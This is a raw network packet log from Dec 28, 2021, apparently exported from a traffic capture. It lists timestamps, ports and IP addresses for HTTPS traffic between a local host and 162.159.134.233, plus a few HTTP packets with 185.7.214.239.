Dec 28, 2021 05:19:41.595969915 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.596034050 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.596055984 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.596107006 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.596134901 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.603224039 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.603239059 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.603255033 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.603349924 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.603564024 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605514050 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605525970 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605540991 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605635881 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605644941 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605691910 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605696917 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605706930 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605737925 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605745077 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605786085 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605792046 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605798960 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.605825901 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605864048 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.605871916 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606030941 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606039047 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606049061 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606055975 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606101036 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606163025 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606172085 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606184006 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606276989 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606285095 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606293917 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606313944 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606322050 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606359959 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606415987 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606426001 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606440067 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606451988 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606457949 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606492043 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606543064 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606554031 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606575966 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606583118 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606610060 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606652975 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606659889 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606710911 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606720924 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606734037 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606755018 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606764078 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606786966 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606842041 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606849909 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606878042 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606884956 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606923103 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606935024 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.606977940 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.606986046 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607014894 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607047081 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607069016 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607110023 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607117891 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607147932 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607173920 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607196093 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607235909 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607244015 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607268095 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607304096 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607327938 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607366085 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607373953 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607397079 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607436895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607460022 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607502937 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607510090 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607531071 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607567072 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607589006 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607634068 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607640982 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607666016 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607687950 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607709885 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607755899 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607764006 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607795000 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607808113 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607830048 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.607870102 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.607913971 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.641556978 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:41.648700953 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:41.649398088 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:41.719224930 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719264984 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719300985 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719419956 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719436884 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719501972 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719515085 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719567060 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719578028 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719625950 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719638109 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719659090 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719685078 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719695091 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719727993 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719773054 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719824076 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719863892 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719894886 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719918966 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719938040 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.719952106 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.719969988 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720024109 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720053911 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720115900 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720140934 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720158100 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720180035 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720197916 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720216036 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720240116 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720278025 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720314026 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720347881 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720359087 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720388889 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720403910 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720439911 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720474958 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720485926 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720516920 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720526934 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720568895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720598936 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720609903 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720640898 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720655918 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720690966 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720720053 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.720729113 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.720767021 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721076965 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721113920 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721154928 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721168995 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721198082 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721291065 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721343994 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721389055 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721400976 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721416950 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721513033 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721548080 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721580029 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721592903 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721609116 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721632004 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721724987 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721759081 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721802950 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721816063 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721852064 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.721935034 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.721968889 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722009897 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722023010 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722059965 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722136021 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722171068 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722213984 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722224951 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722244024 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722259998 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722357035 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722394943 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722434044 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722445965 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722479105 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722559929 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722594023 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722635984 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722647905 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722662926 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722752094 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722785950 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722820044 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722832918 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722852945 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.722946882 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.722980976 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723074913 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723088980 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723128080 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723162889 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723197937 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723210096 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723237038 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723321915 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723359108 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723490953 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723505020 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723520041 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723603010 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723618031 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723637104 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723653078 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723686934 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723705053 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723751068 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723762035 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723776102 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.723862886 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723895073 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.723988056 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724003077 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724036932 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724070072 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724144936 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724158049 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724217892 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724286079 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724299908 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724314928 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724348068 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724379063 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724410057 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724494934 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724541903 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724579096 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724621058 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724632978 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724654913 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724680901 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724761009 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724805117 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724874973 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724891901 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.724905968 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.724996090 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725029945 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725076914 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725089073 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725123882 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725136042 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725218058 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725251913 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725295067 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725306988 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725333929 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725372076 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725459099 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725497961 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725542068 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725553989 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725575924 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725599051 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725681067 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725716114 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725760937 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725773096 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725788116 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725814104 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725891113 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725927114 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.725970984 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.725981951 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726001978 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726027966 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726104975 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726140976 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726182938 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726193905 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726222992 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726241112 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726320982 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726361036 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726413965 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726425886 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726463079 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726486921 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726543903 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726579905 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726628065 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726639986 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726661921 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726682901 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726758957 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726795912 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726836920 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726847887 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.726875067 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726892948 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.726974964 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727013111 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727056026 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727066994 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727087021 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727108955 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727190018 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727226973 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727269888 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727281094 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727302074 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727324963 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727411032 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727447033 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727494955 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727507114 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727535963 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727556944 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727623940 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727673054 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727716923 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727727890 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727754116 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727775097 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727853060 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727888107 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727931976 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727945089 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.727969885 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.727989912 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728069067 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728106022 CET	443	49847	162.159.134.233	192.168.2.3
